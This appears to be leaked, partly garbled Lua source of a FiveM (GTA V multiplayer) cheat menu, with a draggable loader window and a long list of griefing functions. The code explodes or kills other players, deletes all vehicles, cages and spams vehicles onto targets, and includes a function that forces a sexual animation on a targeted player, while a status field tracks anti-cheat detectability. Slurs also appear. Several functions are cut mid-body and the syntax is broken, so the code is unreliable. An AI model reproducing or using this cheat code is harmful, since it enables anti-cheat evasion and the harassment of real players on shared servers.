CockT.Inv["Invoke"](CockT.Natives['ClearPedBloodDamage'], id)
CockT.Global.TriggerCustomEvent(false, "playerSpawned", coords.x, coords.y,
coords.z)
CockT.Global.TriggerCustomEvent(false, "playerSpawned")
end
Functions.f.LoadLogo()
local formattorandom = Functions.f.randomstring()
CockT.Global.hIvkXiYg2ogzm1MvdOolDhAhwQdBwv = function()
local el = {
LMenuX = 0.5,
LMenuY = 0.5,
LResW = 0.5,
LResH = 0.5,
}
function el:printo(message)
return Fatasf.n.Leprint(message)
end
LoadEr = true
el.LoaderDragBar = function()
local c_x, c_y = Fatasf.n.GetNuiCursorPosition()
local widht, height = Fatasf.n.GetActiveScreenResolution()
c_x = c_x / widht
c_y = c_y / height
local res_w, res_h = el.LResW-0.5, el.LResH-0.5
if (c_x >= el.LMenuX - 0.10 and c_y >= el.LMenuY - 0.188 and c_x <=
el.LMenuX + 0.10+res_w and c_y < el.LMenuY + 0.15+res_h) and
Fatasf.n.IsDisabledControlJustPressed(0, 24) then
_x = el.LMenuX - c_x
_y = el.LMenuY - c_y
el.dragging_allowed = true
elseif CockT.Inv["Invoke"](CockT.Natives['IsDisabledControlReleased'],
0, 24) then
el.dragging_allowed = false
end
if el.dragging_allowed then
el.LMenuX = c_x + _x
el.LMenuY = c_y + _y
end
end
el.LoaderButton = function(text, x, y, _outl) --, text)
local c_x, c_y = Fatasf.n.GetNuiCursorPosition()
local widht, height = Fatasf.n.GetActiveScreenResolution()
local drag_x, drag_y = el.LMenuX-0.5, el.LMenuY-0.5
local res_w, res_h = el.LResW-0.5, el.LResH-0.5
c_x = c_x / widht
c_y = c_y / height
if ((c_x) + 0.013 >= x+drag_x and (c_x) - 0.035 <= x+drag_x and (c_y) +
0.01 >= y+drag_y and (c_y) - 0.01 <= y+drag_y) then
Fatasf.n.DrawRect(x+0.012+drag_x, y+0.01+drag_y, 0.047, 0.02721, 0,
0, 0, 255)
Fatasf.n.DrawRect(x+0.012+drag_x, y+0.01+drag_y, 0.046, 0.02521, 35,
35, 35, 255)
Fatasf.n.SetTextColour(8, 214, 101, 255)
CockT.Global.DrawText(text, x+drag_x, y+drag_y, _outl, 0.3, 4,
false)
else
Fatasf.n.DrawRect(x+0.012+drag_x, y+0.01+drag_y, 0.047, 0.02721, 0,
0, 0, 255)
Fatasf.n.DrawRect(x+0.012+drag_x, y+0.01+drag_y, 0.046, 0.02521, 35,
35, 35, 255)
if ((c_x) + 0.013 >= x+drag_x and (c_x) - 0.035 <= x+drag_x and (c_y) +
0.01 >= y+drag_y and (c_y) - 0.01 <= y+drag_y) and
Fatasf.n.IsDisabledControlJustReleased(0, 92) then
return true
else
return false
end
end
el.LoaderResizer = function()
local c_x, c_y = Fatasf.n.GetNuiCursorPosition()
local widht, height = Fatasf.n.GetActiveScreenResolution()
c_x = c_x / widht
c_y = c_y / height
local ddrag_x, ddrag_y = el.LMenuX-0.5, el.LMenuY-0.5
if el.resizing_allowed then
el.LResW = c_x + _x
el.LResH = c_y + _y
end
--[[el.CheckBetaAcc = function()
--local uids = {
--}
for k, v in CockT.Math.pairs(uids) do
local uid = Fatasf.n.GetRedUid()
if v == uid then
return "Yes"
elseif v ~= uid then
return "No"
end
end
for i = 1, #uids do
local rE = Fatasf.n.GetRedUid()
CockT.Inv["Thread"](function()
while LoadEr do
CockT.Inv["Wait"](0)
CockT.Global.Dmovement(true)
local c_x, c_y = Fatasf.n.GetNuiCursorPosition() local widht, height =
Fatasf.n.GetActiveScreenResolution() c_x = c_x / widht c_y = c_y / height
local res_w, res_h = el.LResW-0.5, el.LResH-0.5
local drag_x, drag_y = el.LMenuX-0.5, el.LMenuY-0.5
local PlayerID = Fatasf.n.GetPlayerServerId(Fatasf.n.PlayerId())
local PlayerName = Fatasf.n.GetPlayerName(Fatasf.n.PlayerId())
local reduid = Fatasf.n.GetRedUid()
local IsBeta = "No"
local MenuStatus = '~g~Safe!'-- '~y~Semi-Undetected', '~r~Detectable by:
ac_name'
local LastUpdateDate = '29.07.2021'
local hex = "NaN"-- to do
local ip = Fatasf.n.GetCurrentServerEndpoint()
if Fatasf.n.IsEntityDead(Fatasf.n.PlayerPedId()) then
playerdata = "Dead"
else
playerdata = "Alive"
end
local resource = Fatasf.n.GetCurrentResourceName()
Fatasf.n.DrawRect(0.5+drag_x+res_w/2, 0.5+drag_y+res_h/2, 0.187+res_w,
0.35+res_h, 10, 10, 10, 155)
Fatasf.n.DrawRect(0.5+drag_x+res_w/2, 0.5+drag_y+res_h/2, 0.1836+res_w,
0.34+res_h, 5, 5, 5, 245)
end
end
end)
end
nigga_why_u_using_leaked_source_i_have_ur_ip_now_lol.aisodjioasdjia.jiashdjhadjhhja
sh()
end]]
CockT.Global.pJ64RNYjMQEtLYWxRcdY = function()
local PEnabled = true
local tf = {
}
local Cock = {
AimFriends = {},
Menu = {},
}
tf.CreateMenu = function(id, title, subTitle, style)
menu = {}
menu.id = id
menu.previousMenu = nil
menu.aboutToBeClosed = false
menu.currentOption = 1
menu.title = title
menu.subTitle = subTitle and CockT.Strings.upper(subTitle) or
"INTERACTION MENU"
if style then
menu.style = style
end
menus[id] = menu
end
tf.setMenuProperty = function(id, property, value)
if not id then
return
end
menu = menus[id]
if menu then
menu[property] = value
end
end
tf.setStyleProperty = function(id, property, value)
if not id then
return
end
menu = menus[id]
if menu then
if not menu.overrideStyle then
menu.overrideStyle = {}
end
menu.overrideStyle[property] = value
end
end
tf.drawText = function(text, x, y)
Fatasf.n.BeginTextCommandDisplayText("TWOSTRINGS")
Fatasf.n.AddTextComponentString(CockT.Strings.tostring(text))
Fatasf.n.EndTextCommandDisplayText(x, y)
end
tf.drawRect = function(x, y, width, height, colour)
CockT.Inv["Invoke"](
CockT.Natives["DrawRect"],
x,
y,
width,
height,
colour[1],
colour[2],
colour[3],
colour[4] or 255
)
end
tf.getCurrentIndex = function()
if
currentMenu.currentOption <=
tf.getStyleProperty("maxOptionCountOnScreen") and
optionCount <= tf.getStyleProperty("maxOptionCountOnScreen")
then
return optionCount
elseif
optionCount > currentMenu.currentOption -
tf.getStyleProperty("maxOptionCountOnScreen") and
optionCount <= currentMenu.currentOption
then
return optionCount -
(currentMenu.currentOption -
tf.getStyleProperty("maxOptionCountOnScreen"))
end
return nil
end
tf.SpriteMenuButton = function(text, dict, name, r, g, b, a, rotations)
if not currentMenu then
return
end
return pressed
end
tf.drawTitle = function()
x = tf.getStyleProperty("x") + tf.getStyleProperty("width") / 2
y = tf.getStyleProperty("y") + titleHeight / 2
if tf.getStyleProperty("titleBackgroundSprite") then
Fatasf.n.DrawSprite(
tf.getStyleProperty("titleBackgroundSprite").dict,
tf.getStyleProperty("titleBackgroundSprite").name,
x,
y,
tf.getStyleProperty("width"),
titleHeight,
0.,
255,
255,
255,
255
)
else
tf.drawRect(
x,
y,
tf.getStyleProperty("width"),
titleHeight,
tf.getStyleProperty("titleBackgroundColor")
)
end
if currentMenu.title then
tf.setTextParams(
titleFont,
tf.getStyleProperty("titleColor"),
titleScale,
true
)
tf.drawText(currentMenu.title, x, y - titleHeight / 2 +
titleYOffset)
end
end
tf.drawSubTitle = function()
x = tf.getStyleProperty("x") + tf.getStyleProperty("width") / 2
y = tf.getStyleProperty("y") + titleHeight + buttonHeight / 2
tf.drawRect(x, y, tf.getStyleProperty("width"), buttonHeight+0.0018,
{255, 255, 255, 255})
tf.drawRect(x, y, tf.getStyleProperty("width"), buttonHeight,
tf.getStyleProperty("subTitleBackgroundColor"))
tf.setTextParams(buttonFont, tf.getStyleProperty("subTitleColor"),
buttonScale, false)
Fatasf.n.SetTextCentre(true)
tf.drawText(currentMenu.subTitle, tf.getStyleProperty("x") +
buttonTextXOffset + 0.093, y - buttonHeight / 2 + buttonTextYOffset)
if optionCount > tf.getStyleProperty("maxOptionCountOnScreen") then
tf.setTextParams(buttonFont, tf.getStyleProperty("subTitleColor"),
buttonScale, false, false, true)
tf.drawText('', tf.getStyleProperty("x") +
tf.getStyleProperty("width"), y - buttonHeight / 2 + buttonTextYOffset)
end
end
tf.drawButton = function(text, subText, howmuch)
local currentIndex = tf.getCurrentIndex()
if not currentIndex then
return
end
else
backgroundColor = tf.getStyleProperty('backgroundColor')
textColor = tf.getStyleProperty('textColor')
subTextColor = tf.getStyleProperty('subTextColor')
shadow = true
end
if subText then
tf.setTextParams(buttonFont, subTextColor, buttonScale, false,
shadow, true)
tf.drawText(subText, tf.getStyleProperty("x") + buttonTextXOffset +
howmuch, y - buttonHeight / 2 + buttonTextYOffset)
end
end
tf.drawakRect = function(text, subText, howmuch, plusY)
currentIndex = tf.getCurrentIndex()
backgroundColor = nil
textColor = nil
subTextColor = nil
shadow = false
x = tf.getStyleProperty("x") + tf.getStyleProperty("width") / 2
y = tf.getStyleProperty("y")+plusY + titleHeight + buttonHeight +
(buttonHeight * currentIndex) - buttonHeight / 2
tf.drawRect(x, y, tf.getStyleProperty("width"), buttonHeight,
backgroundColor)
tf.setTextParams(buttonFont, textColor, buttonScale, false, shadow)
tf.drawText(text, tf.getStyleProperty("x") + buttonTextXOffset +
howmuch, y - (buttonHeight / 2) + buttonTextYOffset)
Fatasf.n.DrawRect(x, y-0.019, 0.229, 0.001, 0, 213, 255, 255)
end
tf.IsMenuOpened = function(id)
return currentMenu and currentMenu.id == id
end
tf.CloseMenu = function()
if not currentMenu then
return
end
if currentMenu.aboutToBeClosed then
currentMenu.aboutToBeClosed = false
tf.setMenuVisible(currentMenu.id, false)
optionCount = 0
currentKey = nil
Fatasf.n.PlaySoundFrontend(-1, 'QUIT',
'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
else
currentMenu.aboutToBeClosed = true
end
end
tf.Button = function(text, subText)
if not currentMenu then
return
end
optionCount = optionCount + 1
tf.drawButton(text, subText, 0)
pressed = false
if currentMenu.currentOption == optionCount then
if currentKey == keys.select then
pressed = true
Fatasf.n.PlaySoundFrontend(-1,
tf.getStyleProperty("buttonPressedSound").name,
tf.getStyleProperty("buttonPressedSound").set, true)
elseif currentKey == keys.v2 or currentKey == keys.v3 then
Fatasf.n.PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
end
end
return pressed
end
tf.SpriteButton = function(to_addx, to_addy, text, dict, name, r, g, b, a)
if not currentMenu then
return
end
local pressed = tf.Button(text)
local currentIndex = tf.getCurrentIndex()
if not currentIndex then
return
end
if not Fatasf.n.HasStreamedTextureDictLoaded(dict) then
Fatasf.n.RequestStreamedTextureDict(dict)
end
if to_addx == nil then
to_addx = 0.0
end
if to_addy == nil then
to_addy = 0.0
end
Fatasf.n.DrawSprite(
dict,
name,
tf.getStyleProperty("x") + to_addx + tf.getStyleProperty("width") -
spriteWidth / 2 -
buttonSpriteXOffset,
tf.getStyleProperty("y") + to_addy + titleHeight + buttonHeight +
(buttonHeight * currentIndex) -
spriteHeight / 2 +
buttonSpriteYOffset,
spriteWidth,
spriteHeight,
0.,
r or 255,
g or 255,
b or 255,
a or 255
)
return pressed
end
tf.CSeparator = function(text, subText)
if not currentMenu then
return
end
optionCount = optionCount + 1
local CockMenu = {
peds = {},
MenuEnabled = true,
Main = {},
ComboBoxesT = {
MultIndex = 1,
LengMult = 1,
HpLengMult = 1,
HpMultIndex = 1,
ConMultIndex = 1,
ConLengMult = 1,
ArmMultIndex = 1,
ArmLengMult = 1,
InvsMultIndex = 1,
InvsLengMult = 1,
DistMultIndex = 1,
DistLengMult = 1,
FovMultIndex = 1,
FovLengMult = 1,
HeadMultIndex = 1,
HeadLengMult = 1,
vehspeedMultIndex = 1,
vehspeedLengMult = 1,
explosiontypeMultIndex = 1,
explosiontypeLengMult = 1,
PosMultIndex = 1,
PosLengMult = 1,
GifMultIndex = 1,
GifLengMult = 1,
addonMultIndex = 1,
addonLengMult = 1,
PedsMultIndex = 1,
PedsLengMult = 1,
EspDistMultIndex = 1,
InfoFontLengMult = 1,
InfoFontMultIndex = 1,
EspDistLengMult = 1,
MBindMultIndex = 1,
MBindLengMult = 1,
WantedLVLMultIndex = 1,
WantedLVLLengMult = 1,
DmgModiMultIndex = 1,
DmgModiLengMult = 1,
NCSpeedMultIndex = 1,
NCSpeedLengMult = 1,
WepCustMultIndex = 1,
WepCustLengMult = 1,
ammoMultIndex = 1,
ammoLengMult = 1,
Playsound1MultIndex = 1,
Playsound1LengMult = 1,
Playsound2MultIndex = 1,
Playsound2LengMult = 1,
Playsound2 = {"HUD_MINI_GAME_SOUNDSET",
"HUD_FRONTEND_DEFAULT_SOUNDSET", "SHORT_PLAYER_SWITCH_SOUND_SET",
"LESTER1A_SOUNDS", "MUGSHOT_CHARACTER_CREATION_SOUNDS",
"FM_Events_Sasquatch_Sounds", "CAR_STEAL_2_SOUNDSET"},
NCSpeed = {0.2, 0.4, 0.6, 0.8, 1.0, 1.2, 1.4, 1.6, 1.8, 2.0, 2.2,
2.4, 2.6, 2.8, 3.0},
DmgModi = {1.0, 5.0, 10.0, 25.0, 50.0, 100.0, 150.0, 200.0, 250.0,
300.0, 350.0, 400.0, 450.0, 500.0, 550.0, 600.0, 650.0, 700.0, 750.0, 800.0, 850.0,
900.0, 950.0, 1000.0},
EspDist = {100.0, 150.0, 200.0, 250.0, 300.0, 350.0, 400.0, 450.0,
500.0, 550.0, 600.0, 650.0, 700.0, 750.0, 800.0, 850.0, 900.0, 950.0, 1000.0,
1100.0, 1200.0, 1300.0, 1400.0, 1500.0, 1600.0, 1700.0, 1800.0, 1900.0, 2000.0,
2200.0, 2400.0, 2600.0, 2800.0, 3000.0, 3500.0, 4000.0, 5000.0, 6000.0, 7000.0,
8000.0, 9000.0, 10000.0},
explosiontype = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36,
37, 38, 40, 43},
MBind = {'DELETE', 'INSERT', 'HOME', 'PAGEUP', 'PAGEDOWN'},
Peds = {'Delder', 'Larks', 'Conde', 'Prodigy', 'Camuga', 'OGG076',
'Dish', 'Theo', 'Goxint', 'Flacko', 'Cat', 'Laundry', 'LuaMenu', 'Pawcio',
'HamMafia'},
Position = {'Left', 'Middle', 'Right'},
ammo = {10, 20, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120, 140, 160,
180, 200, 210, 220, 230, 240, 250, 255},
vehspeed = {'x1', 'x2', 'x3', 'x4', 'x5', 'x6'},
Head = {'Head', 'Body', 'Left knee', 'Right knee', 'Left foot',
'Right foot'},
WepCust = {'Suppressor', 'Flashlight', 'Extended Magazine', 'Grip',
'Scope', 'Special Finish'},
InfoFont = {0, 1, 2, 3, 4, 5, 6, 7},
Fov = {'50', '100', '150', '200', '400', '600', '800', '1000',
'1100', '1300', '1500'},
Distance = {'100', '200', '400', '600', '800', '1000'},
SpeedLabels = {'Default', '+20%', '+40%', '+60%', '+100%'},
Contributors = {'bäärs#3150', 'Delder', 'Alky', 'BMD (Graphics)'},
Gif = {'default', 'nyan', 'blue', 'sun'},
HpValue = {"100%", "80%", "60%", "40%", "20%", "0%"},
ArmourValue = {"0%", "20%", "40%", "60%", "80%", "100%"},
InvsValue = {"100%", "80%", "60%", "40%", "20%", "0%"},
local CockMeni = {
Functions = {
SirensOnPlayer = function(player)
CockT.Inv['Thread'](function()
local kx = Fatasf.n.GetHashKey('police')
Fatasf.n.RequestModel(kx)
while not Fatasf.n.HasModelLoaded(kx) do
CockT.Inv["Wait"](0)
end
local k = Fatasf.n.CreateVehicle(kx,
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(player)), 1, 1, 1)
while true do
CockT.Inv["Wait"](0)
local PoliceAnnoying = true
if PoliceAnnoying then
local coords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(player))
Fatasf.n.SetEntityVisible(k, false, false)
Fatasf.n.SetEntityCoords(k, coords.x, coords.y,
coords.z + 5)
Fatasf.n.SetVehicleEngineOn(k, true, true, true)
Fatasf.n.TriggerSiren(k)
Fatasf.n.SetVehicleSiren(k, true)
end
end
end)
end,
cockplate = function()
car = Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId(),false)
if car ~= 0 then
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," C")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," CO")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," COC")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," COCK")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," COCK ")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," COCK ")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," COCK ")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car," COCK ")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car,"COCK M")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car,"OCK ME")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car,"CK MEN")
CockT.Inv["Wait"](400)
Fatasf.n.SetVehicleNumberPlateText(car,"K MENU")
end
end,
if Fatasf.n.DoesEntityExist(vehicle) then
local coords =
Fatasf.n.GetBlipInfoIdCoord(Fatasf.n.GetFirstBlipInfoId(8))
Fatasf.n.SetDriveTaskDrivingStyle(Fatasf.n.PlayerPedId(), 263100)
Fatasf.n.SetPedKeepTask(Fatasf.n.PlayerPedId(),
true)
while Cock.Menu.DriveToWaypoint do
CockT.Inv["Wait"](0)
Fatasf.n.SetEntityMaxSpeed(vehicle, (maxspeed +
1) / 3.6)
if Fatasf.n.GetPedInVehicleSeat(vehicle, -1) ==
Fatasf.n.PlayerPedId() then
if Fatasf.n.GetDistanceBetweenCoords(coords,
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()), false) <= 25.0 then
Cock.Menu.DriveToWaypoint = false
Fatasf.n.ClearPedTasks(Fatasf.n.PlayerPedId())
Fatasf.n.ClearPedSecondaryTask(Fatasf.n.PlayerPedId())
end
else
Cock.Menu.DriveToWaypoint = false
end
end
Fatasf.n.ClearPedTasks(Fatasf.n.PlayerPedId())
Fatasf.n.ClearPedSecondaryTask(Fatasf.n.PlayerPedId())
Fatasf.n.SetEntityMaxSpeed(vehicle,
GetVehicleMaxSpeed(vehicle))
end
end,
if( (c_x) + 0.01 >= x and (c_x) - 0.01 <= x and (c_y) + 0.011 >=
y and (c_y) - 0.011 <= y) then
end
if ((c_x) + 0.01 >= x and (c_x) - 0.01 <= x and (c_y) + 0.015
>= y and (c_y) - 0.005 <= y and Fatasf.n.IsDisabledControlJustReleased(0, 92))
then
return true
else
return false
end
end,
RGBPicker = function(okv)
if PEnabled then
CockT.Global.Dmovement(true)
CockT.Inv["Invoke"]
(CockT.Natives['SetMouseCursorActiveThisFrame'])
Fatasf.n.DrawRect(0.49, 0.5, 0.141, 0.251, Red, Green, Blue,
255)
Fatasf.n.DrawRect(0.49, 0.5, 0.14, 0.25, 19, 20, 22, 255)
if ShowList then
Fatasf.n.DrawRect(0.49, 0.462, 0.14, 0.174, 25, 25, 25, 255)
Fatasf.n.DrawRect(0.49, 0.55, 0.14, 0.000925, Red, Green,
Blue, 255)
--next line
end,
TpToWaypoint = function()
local wp = Fatasf.n.GetFirstBlipInfoId(8)
if Fatasf.n.DoesBlipExist(wp) then
wpC = Fatasf.n.GetBlipInfoIdCoord(wp)
for cc = 1, 1000 do
CockT.Inv["Invoke"]
(CockT.Natives['SetPedCoordsKeepVehicle'], Fatasf.n.PlayerPedId(), wpC["x"],
wpC["y"], cc + 0.0)
gZ, zPos = Fatasf.n.GetGroundZFor_3dCoord(wpC["x"],
wpC["y"], cc + 0.0)
if gZ then
CockT.Inv["Invoke"]
(CockT.Natives['SetPedCoordsKeepVehicle'], Fatasf.n.PlayerPedId(), wpC["x"],
wpC["y"], cc + 0.0)
break
end
CockT.Inv["Wait"](0)
end
end
end,
EnableAllEngines = function()
for vehicle in Fatasf.n.EnumerateVehicles() do
Fatasf.n.SetVehicleEngineOn(vehicle, true, true, true)
end
end,
EnableAllSirens = function()
for vehicle in Fatasf.n.EnumerateVehicles() do
Fatasf.n.SetVehicleEngineOn(vehicle, true, true, true)
Fatasf.n.TriggerSiren(vehicle)
Fatasf.n.SetVehicleSiren(vehicle, true)
end
end,
TugAllPlayers = function()
for k, i in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local ped = Fatasf.n.GetPlayerPed(i)
local coords = Fatasf.n.GetEntityCoords(ped)
while not
Fatasf.n.HasModelLoaded(Fatasf.n.GetHashKey("tug")) do
Fatasf.n.RequestModel(Fatasf.n.GetHashKey("tug"))
CockT.Inv["Wait"](1)
end
local veh =
Fatasf.n.CreateVehicle(Fatasf.n.GetHashKey("tug"), coords.x, coords.y, coords.z,
90.0, 1, 1)
end
end,
killallpeds = function()
for peds in Fatasf.n.EnumeratePeds() do
if Fatasf.n.IsPedAPlayer(peds) ~= true and peds ~=
Fatasf.n.PlayerPedId() then
Fatasf.n.RequestControlOnce(peds)
Fatasf.n.SetEntityHealth(peds, 0)
end
end
end,
IsPlayerInFvckinDooogInvincibleglifeshit = function(player)
local isgod = CockT.Inv["Invoke"]
(CockT.Natives['GetPlayerInvincible_2'], player)
if isgod == 1 then
return "~g~Yes~s~"
else
return "~r~No~s~"
end
end,
PounderPlayers = function(players, howm)
for i = 0, howm - 1 do
local ped = Fatasf.n.GetPlayerPed(players)
local coords = Fatasf.n.GetEntityCoords(ped)
while not
Fatasf.n.HasModelLoaded(Fatasf.n.GetHashKey("Pounder")) do
Fatasf.n.RequestModel(Fatasf.n.GetHashKey("Pounder"))
CockT.Inv["Wait"](1)
end
local veh =
Fatasf.n.CreateVehicle(Fatasf.n.GetHashKey("Pounder"), coords.x, coords.y,
coords.z, 90.0, true, true)
end
end,
FormatCoord = function(coord)
if coord == nil then
return "unknown"
end
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 6.8,
coords.y + 1,
coords.z - 1.5,
0,
1,
1
)
Fatasf.n.SetEntityHeading(obj, 90.0)
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 0.6,
coords.y + 6.8,
coords.z - 1.5,
0,
1,
1
)
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 0.6,
coords.y - 4.8,
coords.z - 1.5,
0,
1,
1
)
local obj2 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x + 4.8,
coords.y + 1,
coords.z - 1.5,
0,
1,
1
)
Fatasf.n.SetEntityHeading(obj2, 90.0)
local obj =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 6.8,
coords.y + 1,
coords.z + 1.3,
0,
1,
1
)
Fatasf.n.SetEntityHeading(obj, 90.0)
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 0.6,
coords.y + 6.8,
coords.z + 1.3,
0,
1,
1
)
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x - 0.6,
coords.y - 4.8,
coords.z + 1.3,
0,
1,
1
)
local obj2 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_const_fence03b_cr"),
coords.x + 4.8,
coords.y + 1,
coords.z + 1.3,
0,
1,
1
)
Fatasf.n.SetEntityHeading(obj2, 90.0)
else
obj =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.6,
coords.y - 1,
coords.z - 1,
1,
1,
1
)
Fatasf.n.FreezeEntityPosition(obj, true)
obj2 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.55,
coords.y - 1.05,
coords.z - 1,
1,
1,
1
)
Fatasf.n.SetEntityHeading(obj2, 90.0)
Fatasf.n.FreezeEntityPosition(obj2, true)
obj3 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.6,
coords.y + 0.6,
coords.z - 1,
1,
1,
1
)
Fatasf.n.FreezeEntityPosition(obj3, true)
obj4 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x + 1.05,
coords.y - 1.05,
coords.z - 1,
1,
1,
1
)
Fatasf.n.SetEntityHeading(obj4, 90.0)
Fatasf.n.FreezeEntityPosition(obj4, true)
obj5 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.6,
coords.y - 1,
coords.z + 1.5,
1,
1,
1
)
Fatasf.n.FreezeEntityPosition(obj5, true)
obj6 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.55,
coords.y - 1.05,
coords.z + 1.5,
1,
1,
1
)
Fatasf.n.SetEntityHeading(obj6, 90.0)
Fatasf.n.FreezeEntityPosition(obj6, true)
obj7 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x - 0.6,
coords.y + 0.6,
coords.z + 1.5,
1,
1,
1
)
Fatasf.n.FreezeEntityPosition(obj7, true)
obj8 =
Fatasf.n.CreateObject(
Fatasf.n.GetHashKey("prop_fnclink_03gate5"),
coords.x + 1.05,
coords.y - 1.05,
coords.z + 1.5,
1,
1,
1
)
Fatasf.n.SetEntityHeading(obj8, 90.0)
Fatasf.n.FreezeEntityPosition(obj8, true)
end]]
end,
FlyAllVehs = function()
for vehicle in Fatasf.n.EnumerateVehicles() do
Fatasf.n.NetworkRequestControlOfEntity(vehicle)
CockT.Inv["Invoke"](CockT.Natives['ApplyForceToEntity'],
vehicle, 3, 0.0, 0.0, 500.0, 0.0, 0.0, 0.0, 0, 0, 1, 1, 0, 1)
end
end,
DelAllVehs = function()
for vehicle in Fatasf.n.EnumerateVehicles() do
Fatasf.n.DeleteEntity(vehicle)
end
end,
ExplodeAllPlayer = function()
for k, i in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
Fatasf.n.AddExplosion(Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(i)), 8, 100.0,
true, false, 0.0)
end
end,
Rape = function(target)
CockT.Inv["Thread"](
function()
if Fatasf.n.IsPedInAnyVehicle(
Fatasf.n.GetPlayerPed(target),
true
)
then
local veh =
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.GetPlayerPed(target), true)
while not Fatasf.n.NetworkHasControlOfEntity(veh) do
Fatasf.n.NetworkRequestControlOfEntity(veh)
CockT.Inv["Wait"](0)
end
CockT.Inv["Invoke"]
(CockT.Natives["SetEntityAsMissionEntity"], veh, true, true)
CockT.Inv["Invoke"](CockT.Natives["DeleteVehicle"],
veh)
Fatasf.n.DeleteEntity(veh)
end
count = -0.2
for b = 1, 3 do
x, y, z =
CockT.Strings.tunpack(
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(target), true)
)
local pp =
Fatasf.n.ClonePed(
Fatasf.n.GetPlayerPed(target),
1,
1,
1
)
CockT.Inv["Invoke"]
(CockT.Natives["SetEntityAsMissionEntity"], bD, true, true)
Fatasf.n.AttachEntityToEntity(pp,
Fatasf.n.GetPlayerPed(target), 4103, 11816, count, 0.00, 0.0, 0.0, 0.0, 0.0, false,
false, false, false, 2, true)
CockT.Inv["Invoke"](
CockT.Natives["ClearPedTasks"],
Fatasf.n.GetPlayerPed(target)
)
Fatasf.n.TaskPlayAnim(
Fatasf.n.GetPlayerPed(target),
"rcmpaparazzo_2",
"shag_loop_poppy",
2.0,
2.5,
-1,
49,
0,
0,
0,
0
)
Fatasf.n.SetPedKeepTask(pp)
Fatasf.n.TaskPlayAnim(
pp,
"rcmpaparazzo_2",
"shag_loop_a",
2.0,
2.5,
-1,
49,
0,
0,
0,
0
)
Fatasf.n.SetEntityInvincible(pp, true)
count = count - 0.4
end
end
)
end,
KillPlayer = function(player)
local ped = Fatasf.n.GetPlayerPed(player)
local location = Fatasf.n.GetEntityCoords(ped)
local dest = Fatasf.n.GetPedBoneCoords(ped, 0, 0.0, 0.0, 0.0)
local org = Fatasf.n.GetPedBoneCoords(ped, 57005, 0.0, 0.0, 0.2)
Fatasf.n.ShootSingleBulletBetweenCoords(org, dest, 50.0, true,
Fatasf.n.GetHashKey('WEAPON_PISTOL'), Fatasf.n.PlayerPedId(), true, false, 10000.0)
end,
SilentKill = function(player)
local ped = Fatasf.n.GetPlayerPed(player)
end,
RotationToDirection = function(Rotationation)
return CockT.Strings.vector3(
-CockT.Math.sin(CockT.Math.rad(Rotationation.z)) *
CockT.Math.abs(CockT.Math.cos(CockT.Math.rad(Rotationation.x))),
CockT.Math.cos(CockT.Math.rad(Rotationation.z)) *
CockT.Math.abs(CockT.Math.cos(CockT.Math.rad(Rotationation.x))),
CockT.Math.sin(CockT.Math.rad(Rotationation.x))
)
end,
ShitRain = function(target, model, result)
CockT.Inv["Thread"](
function(result)
for tye = 0, result do
local VehicleHash = Fatasf.n.GetHashKey(model)
Fatasf.n.RequestModel(VehicleHash)
local x, y, z =
CockT.Strings.tunpack(Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(target)))
while not Fatasf.n.HasModelLoaded(VehicleHash) do
Fatasf.n.RequestModel(VehicleHash)
CockT.Inv["Wait"](15)
end
local cockmenu = {p = 82, s = 80}
local SpawnedVeh =
